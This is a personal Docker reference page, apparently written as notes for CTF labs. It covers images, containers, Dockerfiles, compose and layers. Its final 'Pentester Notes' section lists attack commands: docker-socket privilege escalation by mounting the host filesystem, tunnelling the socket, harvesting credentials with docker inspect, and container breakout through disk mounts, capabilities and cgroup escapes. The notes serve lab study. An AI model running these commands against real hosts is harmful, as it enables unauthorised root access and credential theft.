Docker

introtodockerk8pdqk

Docker allows someone to pack an operating system along with stuff on it (apps, files, configurations...) in something called an image. You can then distribute it to others.

  • 🌍 Easily share applications (everything is within the image)
  • ☕ Easier setup (create an image, and deploy it for others to use)
  • 🚀 Uniformize the environment (same environment for everyone)
  • 👉 Can be run everywhere (Windows, Linux, macOS...)
  • 🔥 Docker, unlike a VM, uses the underlying host operating system resources such as the file system, the RAM, or the CPU...
  • ❌ Docker may not support some features, according to the operating system running the docker (graphical interfaces, sound...)

The easiest way to get started is to use Docker desktop. You may only install docker engine which only gives access to the docker command.

$ curl -fsSL "https://get.docker.com" | sh
$ docker -v # test

➡️ On Kali Linux, follow these instructions, and replace the codename in /etc/apt/sources.list.d/docker.list with a valid one.


Useful links 🎉


Docker images

To get started, you will have to choose and download an image 🖼️. It will be the base from which you will start adding files, packages, and everything you need for your application.

Look for images on Docker Hub.

We usually start from an operating system such as ubuntu, or we may start from an image with our tools installed, such as with gcc image.

Docker tags

introtodockerk8pdqk

A tag is the image's name and its version. For instance, fedora:latest or fedora:34. When the version is latest, it's implicit, and can be omitted, so fedora and fedora:latest are the same.

Tags point to an image. You can create them: docker tag xxx:34 xxx:latest (xxx:latest point to xxx:34) or remove them docker rmi tag.

👉 An image can only be removed after all tags have been removed.

Docker image commands

introtodockerk8pdqk

To download an image

$ docker pull image_name         # tag = image_name:latest
$ docker pull image_name:version # tag = image_name:version

To list images

$ docker images
$ docker image ls

To delete an image

$ docker image rm image_tag_or_id

Containers

introtodockerk8pdqk

An image is static. It's built once, and never modified. From it, you can create runtime instances, called containers 📦.

On a container, you can do things like creating files, adding packages, running commands... (e.g. use it) but these changes will be lost when the container is destroyed (unless you use docker commit).

There is no limit to the number of containers created from one image.

To create a container (entrypoint are explained in Dockerfile section):

$ docker run image_tag        # execute tag's entrypoint
$ docker run -i -t [...]      # interactive (bash...)
$ docker run -d -t [...]      # run in background
$ docker run -t [...]         # tty == connect your terminal
$ docker run [...] /bin/bash  # CMD = ["/bin/bash"]
$ docker run [...] echo xxx   # CMD = ["echo", "xxx"]
$ docker run -p dp:hp [...]   # map docker port to host port
$ docker run --rm [...]       # auto-deleted once stopped
$ docker run --entrypoint=xxx [...]  # override the entrypoint
$ docker run --name=xxx [...] # use fixed name
$ docker run --net=xxx [...]  # see networks
$ docker run -v xxx [...]     # see docker volumes
$ docker run -e "XXX=xxx" [...] # set env variable

➡️ Containers will stop when the entrypoint process terminates.

✨ Flags -t and -i or -d can be merged: -it or -dt.

✨ You can have multiple times flags: -e, -v, and -p.

To list containers

$ docker container ls    # running containers 
$ docker container ls -a # all
$ docker ps              # running containers
$ docker ps -a           # all containers

To start/stop a container

$ docker start container_name_or_id
$ docker stop container_name_or_id

To delete a container

$ docker container rm container_name_or_id

To open a terminal on a running container

# duplicate stdin/stdout
$ docker attach container_name_or_id
# pop a new bash
$ docker exec -it container_name_or_id /bin/bash
# if you have the IP
$ ssh user@container_ip

To copy a file from or to a docker

$ docker cp container_id:/docker/path ./local/path
$ docker cp ./local/path container_id:/docker/path

Advanced Docker Containers Internals

Docker network

Docker containers are by default started using --net=bridge. It connects them to the virtual bridge docker0 that allows each container to contact each other.

If we use --net=host, it means that containers share the same network configuration as the host (e.g., same ip a output).

$ docker network ls # list
$ docker network create network_name # create a network
$ docker network inspect network_name_or_id  # list hosts
$ docker network connect bridge container_id # add to bridge
# connect or disconnect a host to/from a network
$ docker network connect network_name_or_id container_id
$ docker network disconnect network_name_or_id container_id

👉 Even when creating a custom network, you can still reach the host (which is the gateway, X.X.X.1) so we don't really need host networks.

Docker Volumes

Docker volumes are the same as Dockerfile Volume but you can choose which folder on the host is used (more convenient).

-v /var/www              # host=/var/www docker=/var/www 
-v /var/www:/var/zzz     # host=/var/www docker=/var/zzz
-v /var/www:/var/zzz:ro  # read-only mount
-v /var/www:/var/zzz:rw  # read-write mount

Docker UID/GID mapping

Docker uses UID/GID mapping to ensure proper file permissions by aligning UID and GID inside the container with the corresponding ones on the host system.

For instance, let's say the docker uses a user with UID 1000 and GID 2000. If there is a matching user/group on the host, they will be used when creating files. Otherwise, the default user will be used (root...).

$ docker run -u uid:gid [...]

➡️ When running a container, all file permissions within the docker are set based on the running user permissions.

GUI applications

To run GUI applications on Linux, run xhost +local:docker and use:

# docker run -e "DISPLAY=${DISPLAY}" \
#            -v /tmp/.X11-unix:/tmp/.X11-unix --net=host [...]
    environment:
      - DISPLAY=${DISPLAY}
    volumes:
      - /tmp/.X11-unix:/tmp/.X11-unix
    network_mode: host

Dockerfile

introtodockerk8pdqk

A Dokerfile (no extension) is a text file used to define the configuration and steps to create a docker image (e.g., the blueprint to create containers).

FROM fedora:latest

RUN dnf -y upgrade && \
    # Format: dnf -y install some_packages_here && \
    # Examples:
    dnf -y install firefox nano git dnf-utils && \
    dnf -y install iputils net-tools iproute && \
    # We usually clean up to save disk space
    dnf clean all
    # See also: apt update/upgrade/clean/install -y

ENTRYPOINT /bin/bash

➡️ Read Best practices for writing Dockerfiles.

FROM

You will build an image based on another image.

FROM image
FROM image:version

RUN

Use RUN to execute a command or multiple commands.

RUN command
RUN "command1;command2;..."
RUN ["command","arg1","arg2"]
RUN command && \
    command

ENTRYPOINT

When creating a docker container, the entrypoint is the command executed by default (if any). Users can overload the entrypoint.

ENTRYPOINT command
ENTRYPOINT ["/bin/sh","-c"]   # default entrypoint
# "docker run tag": execute "entrypoint"
# "docker run tag bash": execute "entrypoint bash"

CMD

CMD allows us to define default arguments passed to the entrypoint. According to the entrypoint, CMD may be a command.

ENTRYPOINT echo
CMD command
CMD "command1;command2;..."
CMD ["Hello", "world"]
# docker run tag: echo "Hello, World"
# docker run tag args: echo args

ENV

Use ENV to define environment variables.

ENV MY_HOME /home
ENV MY_HOME=/home
RUN echo ${MY_HOME} $MY_HOME 
RUN echo ${MY_HOME:-value_if_not_set} ${MY_HOME:+value_if_set}

ADD/COPY

Use ADD/COPY to copy a file to the image. Use COPY most of the time.

ADD src dest       # ex: ADD URL /usr/project/
COPY src dest      # ex: COPY ./file /usr/project/

WORKDIR

Instead of using cd/..., you should use WORKDIR to navigate to a folder. If the destination doesn't exist, it's created.

WORKDIR /usr/project/

USER

USER won't create a user, but load (~su) the given user.

# RUN useradd -ms /bin/bash username (add user on Linux)
# RUN net user /add username (add user on Windows)
USER username
USER username:group

Advanced Dockerfiles

LABEL

Set the image properties that are shown when using the command docker image inspect image_name_or_tag.

LABEL name="image name"
LABEL version="image version"
LABEL maintainer="maintener"
LABEL vendor="vendor"
LABEL environment=dev
LABEL description="image description"

EXPOSE

Some docker may run a webserver or something like that. To access them on your host, you need to EXPOSE the port or the protocol.

EXPOSE port            # ex: 8080
EXPOSE port/protocol   # ex: 80/tcp

VOLUME

It's possible to mount a volume, e.g., creating a folder on the docker whose content is linked to a folder on the host. Adding, editing, or removing files in such folder on the docker removes them on the host.

VOLUME /my_mount  # contents are the same for every container

See also: sudo ls /var/lib/docker/volumes/ and docker volume ls.

.dockerignore

You can use a .dockerignore ignore file to prevent some files from being copied or added when using COPY/ADD.

# any file ending with .exe is ignored
*.exe
# we don't ignore runner.exe
!runner.exe
# ignore a directory
directory/

Build and deploy images

Building

introtodockerk8pdqk

After creating a Dockerfile, you can build your image using:

# Assuming "Dockerfile" is inside the current folder
# ex : docker build -t my_image:latest .
$ docker build -t some_tag_here .

Docker registry

A registry is a place where images are stored 🗃️. Docker Hub is a SAAS registry. It's possible to deploy a self-hosted registry.


Docker "clean"

To remove untagged images, stopped containers and unused layers:

$ docker system prune -f

👉 Use this after docker rmi to ensure cached layers are deleted.

Deploying

To push images to a registry server:

# assuming example.com:5000 is a registry
# and "example.com:5000/tag" is an image locally
$ docker push example.com:5000/tag

To rename "tag" to "example.com:5000/tag"

$ docker tag tag:latest example.com:5000/tag:latest

Docker compose plugin

introtodockerk8pdqk

Docker compose wraps all arguments passed to docker run inside a file called docker-compose.yml. It's mainly aimed at services (e.g. tasks with no user interaction), but it can be used with any docker image 🎊.

$ sudo apt-get install docker-compose-plugin
$ docker compose version
Docker Compose version vX.X.X

💡 It's designed to manage, and run multiple containers. All usual commands are now added after docker compose:

  • docker compose build: build images
  • docker compose up: create containers and start them (can use -d)
  • docker compose start: start containers
  • docker compose run xxx: run one service (can use --rm)
  • docker compose stop: stop containers
  • docker compose down: stop, and remove containers

Useful options: docker compose up --no-recreate --no-start.

Useful command: docker attach $(docker compose ps -q).

🍔 For most commands, you can add the service name after the command, such as docker compose build xxx to work on xxx.

The syntax is pretty straightforward once you're familiar with run options. Much like docker run commands, almost all are optional.

version: '3'

services:
  service_name_here:              # --name
    build: .                      # ./Dockerfile
    image: some_name:some_version # tag
    hostname: some_hostname       # --hostname
    volumes:                      # -v
      - ./content:/content
    restart: always               # --restart
    stdin_open: true              # -i
    tty: true                     # -t

➡️ build isn't associated with a docker run option, but since docker compose can build images, you'll have to provide it.

Docker networking options

How to use --net host?

    ...
    network_mode: host

How to use --net some_bridge? Note that you can use X.X.X.1 such as 172.100.0.1 inside the docker to refer to the host.

    ...
    networks:
      my-bridge:
        ipv4_address: 172.100.0.2

networks:
  my-bridge:
    driver: bridge
    ipam:
      driver: default
      config:
        - subnet: 172.100.0.0/24


Docker Layers 🍷

introtodockerk8pdqk docker_layers

Each docker image is composed of multiple read-only layers. They are created during the build process.

Each instruction in a Dockerfile generates a new layer.

It allows docker to speed up each process, by only building or deploying layers that have changed.

We may also export an image to manually explore it.

$ docker image save <image_id> --output hello.tar
$ docker import output hello.tar # import to docker
$ tar xvf hello.tar              # extract and explore

if you don't want to export the image to explore it layers, navigate and try to make use of /var/lib/docker/overlay2.

Each layer can have multiple files such as:

  • 🗺️ <image_hash>.json: image information
  • 🔎 manifest.json and repositories: docker information
  • 📦 Nested layers
    • json: layer information
    • layer.tar : recursively extract them
    • VERSION: layer version

By exploring these files, you can see every changes applied to a docker image from the root image up to the current image.


Docker Pentester Notes ☠️

docker_security docker_breakout

Docker — Automated Tools

A few tool may identify privilege escalation or breakout vectors:

  • linPEAS (AppArmor, Capabilities, Network, Exploits) with -a/-t?
  • deepce (1.1k ⭐, Enumeration + Escape)
  • cdk (3.6k ⭐, Enumeration + Escape)

Docker — Socket Privilege Escalation

linuxprivilegeescalation introtodockerk8pdqk chillhack marketplace docker_talk_through_me

If a user is part of the docker group, they can interact with the docker daemon without sudo. This can be used for privilege escalation.

$ docker images
$ docker run --privileged -v /:/hostfs <docker_image>
$ docker run --privileged -v /:/hostfs <docker_image> bash
$ docker run --privileged -v /:/hostfs <docker_image> ls

The associated docker server socket permissions:

$ find / -name "*.sock" -ls 2> /dev/null
srw-rw---- 1 root docker [...] /run/docker.sock

Explicit usage of the socket:

$ docker -H unix:///run/docker.sock images
$ docker -H unix:///run/docker.sock run --rm -d --privileged -v /:/hostfs xxx
$ docker -H unix:///run/docker.sock run --rm -d --privileged -v /:/hostfs xxx bash
$ docker -H unix:///run/docker.sock run --privileged -v /:/hostfs xxx ls

We may not have docker on the target machine, in which case, we may use a tunnel and run docker on our machine with -H.

$ ssh -L /tmp/docker.sock:/run/docker.sock [...] # docker -H unix:///tmp/docker.sock
$ socat -d -d TCP-LISTEN:2375,reuseaddr,fork UNIX-CONNECT:/var/run/docker.sock # docker -H IP:2375

We may interact directly with the socket too:

$ curl --unix-socket /tmp/docker.sock http://localhost/<endpoint> [...]
/images/json # GET | list images
/containers/create # POST | create a container
/containers/<cid>/start  # GET | start a container
/containers/<cid>/logs?stderr=1&stdout=1  # GET | container logs
/containers/<cid>/exec # POST | prepare to execute a command on a container (TTY=True)
/containers/<cid>/archive?path=/ # GET | create a tar.gz
/exec/<eid>/start # POST | execute the prepared command (TTY=False, Detach=False)

Docker — TCP Privilege Escalation

couch docker_talk_through_me

Docker can use TCP instead of a socket. It typically uses port 2375 🐲. Refer to docker socket notes with: -H 127.0.0.1:2375.

We may not have docker on the target machine, in which case, we may use a tunnel and run docker on our machine with -H.

$ ssh -L 2375:localhost:2375 [...] # docker -H tcp://localhost:2375

Docker — SUID Abuse On Mounted Folder

pythonplayground

If you are within a container as root and you are connected to the machine running the docker without any useful privileges, you can create a SUID script on a shared mount folder, assuming there is one.


Docker — Credentials Harvesting

busqueda

Docker inspect may be used to find credentials.

$ docker inspect xxx -f '{{json .Config }}' | jq
$ docker inspect xxx -f '{{json .Config.Env }}' | jq

You might as well dig inside layers files [...]/overlay2/<xxx>/diff/.


Docker — Container Breakout

unbakedpie catpictures docker_i_am_groot docker_talk_through_me docker_sys_admin_docker

To identify if we are within a container:

$ ls /.dockerenv # pretty explicit
$ ps # a small number would be weird
$ grep 'docker\|lxc' /proc/1/cgroup

If we are in a container as root, and we can access hard drives (fdisk output is not empty), then we can mount the drive and read its files:

$ fdisk -l
$ mkdir -p /mnt/sda1 && mount /dev/sda1 /mnt/sda1
$ # is there some weird partition mounted?
$ mount | grep -v /proc | grep -v /sys | grep -v overlay

You can look for open ports using port scanning:

$ nc -zv IP 1-65535 # you may use pivoting tools such as chisel to access them
$ ip a # if available (check ifconfig?), find available networks
$ ping 172.17.0.1 # if available, test to access the host
$ netstat -tunlpa # if available, may be handy too

Look if the container was executed with dangerous capabilities:

$ capsh --print # cap_sys_admin? etc.
$ cat /sys/kernel/security/apparmor/profiles # Not Found=>No Apparmor

If you have cap_sys_admin and AppArmor is not enabled: try CVE-2022-0492 (release_agent PoC one or two on Hacktricks).

$ ./cdk run mount-cgroup "<some command>"
$ ./cdk run rewrite-cgroup-devices # debugfs -w result

Try to find if a docker socket is present or reachable.

Docker Additional Notes

  • Usage of cgroups to limit memory usage etc.
  • Usage of seccomp to blacklist system calls

👻 To-do 👻

Stuff that I found, but never read/used yet.

Dockerfile

  • STOPSIGNAL
  • ONBUILD
  • ARG

Other notes

  • Kubernetes
  • linuxhandbook
  • Docker nexus repository
  • /etc/docker/daemon.json
  • sudo systemctl restart docker
  • docker secret and docker compose secrets
sudo usermod -aG docker $USER
reboot
sudo systemctl disable docker
sudo systemctl disable docker.socket
sudo systemctl stop docker
sudo systemctl stop docker.socket
sudo systemctl start docker
sudo systemctl start docker.socket
--cap-add=NET_ADMIN
--cap-add=NET_ADMIN --device=/dev/net/tun
mknod /dev/net/tun

docker swarm init
docker stack deploy -c docker-compose.yml service_name
docker stack ls
docker stack rm service_name
docker service ls
docker service logs xxx
docker service ps xxx
docker logs

localhost:5000/v2/_catalog ==> {"repositories":["xxx"]}
localhost:5000/v2/xxx/tags/list
localhost:5000/v2/xxx/manifests/latest